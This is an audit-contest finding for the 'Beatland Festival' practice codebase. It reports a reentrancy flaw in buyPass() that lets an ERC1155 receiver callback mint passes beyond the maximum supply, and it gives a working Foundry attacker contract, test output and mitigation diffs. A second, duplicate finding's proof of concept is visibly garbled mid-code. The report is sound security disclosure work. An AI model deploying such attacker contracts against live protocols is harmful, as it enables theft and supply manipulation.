Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

[H-2] Reentrancy in buyPass() Allows Bypassing maxSupply Limit

Root + Impact

The buyPass() function violates the Checks-Effects-Interactions (CEI) pattern by calling _mint() before updating passSupply, allowing reentrancy attacks through the ERC1155 onERC1155Received callback. An attacker can exploit this to mint passes beyond the maxSupply limit, breaking the protocol's core scarcity guarantee.

Description

  • The protocol should enforce a hard cap on pass supply through the passMaxSupply variable. Users should not be able to purchase passes once passSupply >= passMaxSupply.

  • An attacker can deploy a malicious contract that reenters buyPass() during the ERC1155 onERC1155Received callback. Because passSupply is only incremented AFTER the external _mint() call, the supply check can be bypassed multiple times in a single transaction.

// src/FestivalPass.sol - Lines 63-84
function buyPass(uint256 collectionId) external payable {
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
// @> VULNERABILITY: External call before state update
_mint(msg.sender, collectionId, 1, ""); // Triggers onERC1155Received callback
// @> State updated AFTER callback (too late!)
++passSupply[collectionId];
if (collectionId == VIP_PASS) {
beatToken.mint(msg.sender, 100 * 10 ** 18);
} else if (collectionId == BACKSTAGE_PASS) {
beatToken.mint(msg.sender, 500 * 10 ** 18);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • ERC1155's _mint() function ALWAYS calls onERC1155Received() on contract recipients (OpenZeppelin standard behavior)

  • No reentrancy guard protection exists on buyPass()

  • Creating an exploiting contract requires minimal Solidity knowledge

  • Attack executes in a single transaction with guaranteed atomicity

  • No special permissions or protocol state required

Impact:

  • Unlimited pass minting (only limited by gas and payment)

    • For VIP passes: 100 BEAT tokens per pass (worth real value)

    • For BACKSTAGE passes: 500 BEAT tokens per pass

    • Can mint passes to sell on secondary market

    • First-mover advantage in sold-out scenarios

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
contract AttackerContract is IERC1155Receiver {
FestivalPass public target;
uint256 public callCount;
uint256 public maxReentries;
bool public attacking;
constructor(address _target) {
target = FestivalPass(_target);
}
function onERC1155Received(
address,
address,
uint256 id,
uint256,
bytes memory
) external returns (bytes4) {
if (!attacking) return this.onERC1155Received.selector;
if (callCount < maxReentries) {
callCount++;
console.log(" [REENTRY #%s] Reentering buyPass()...", callCount);
console.log(" Current passSupply before reentry:", target.passSupply(id));
uint256 price = target.passPrice(id);
target.buyPass{value: price}(id);
console.log(" Current passSupply after reentry:", target.passSupply(id));
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] memory,
uint256[] memory,
bytes memory
) external pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
function attack(uint256 passId, uint256 reentries) external payable {
attacking = true;
callCount = 0;
maxReentries = reentries;
uint256 price = target.passPrice(passId);
target.buyPass{value: price}(passId);
attacking = false;
}
}
contract ReentrancyTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public organizer;
uint256 constant GENERAL_PASS = 1;
function setUp() public {
organizer = makeAddr("organizer");
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.prank(organizer);
festivalPass.configurePass(GENERAL_PASS, 0.05 ether, 100);
}
function test_Reentrancy_BypassMaxSupply() public {
console.log("\n=== REENTRANCY ATTACK ===\n");
// Sell 98 passes to regular users (leaving only 2 slots)
for (uint256 i = 0; i < 98; i++) {
address buyer = makeAddr(string(abi.encodePacked("buyer", i)));
vm.deal(buyer, 0.05 ether);
vm.prank(buyer);
festivalPass.buyPass{value: 0.05 ether}(GENERAL_PASS);
}
console.log("Setup: 98 passes sold, 2 slots remaining");
console.log("Max supply:", festivalPass.passMaxSupply(GENERAL_PASS));
console.log("Current supply:", festivalPass.passSupply(GENERAL_PASS));
// Deploy attacker
AttackerContract attacker = new AttackerContract(address(festivalPass));
vm.deal(address(attacker), 0.15 ether);
// Attack: Try to mint 3 passes when only 2 slots available
console.log("\nLaunching reentrancy attack (3 passes)...\n");
attacker.attack{value: 0.15 ether}(GENERAL_PASS, 2);
// Verify exploit
console.log("\n=== RESULTS ===");
console.log("Attacker's passes:", festivalPass.balanceOf(address(attacker), GENERAL_PASS));
console.log("Final supply:", festivalPass.passSupply(GENERAL_PASS));
console.log("Max supply:", festivalPass.passMaxSupply(GENERAL_PASS));
// Assertions
assertEq(festivalPass.balanceOf(address(attacker), GENERAL_PASS), 3, "Attacker should have 3 passes");
assertEq(festivalPass.passSupply(GENERAL_PASS), 101, "Supply should be 101");
assertGt(festivalPass.passSupply(GENERAL_PASS), festivalPass.passMaxSupply(GENERAL_PASS), "Supply exceeded max!");
console.log("\n[!] VULNERABILITY CONFIRMED: Supply (101) > MaxSupply (100)\n");
}
}

Recommended Mitigation

Apply the Checks-Effects-Interactions (CEI) pattern by updating state BEFORE external calls:


function buyPass(uint256 collectionId) external payable {
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
+ // Update state BEFORE external call
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- // Remove state update from here
- ++passSupply[collectionId];
if (collectionId == VIP_PASS) {
beatToken.mint(msg.sender, 100 * 10 ** 18);
} else if (collectionId == BACKSTAGE_PASS) {
beatToken.mint(msg.sender, 500 * 10 ** 18);
}
emit PassPurchased(msg.sender, collectionId);
}
Alternative solution:** Add OpenZeppelin's `ReentrancyGuard`:
```diff
+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract FestivalPass is ERC1155, Ownable {
+ contract FestivalPass is ERC1155, Ownable, ReentrancyGuard {
- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {
// ... rest of function
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!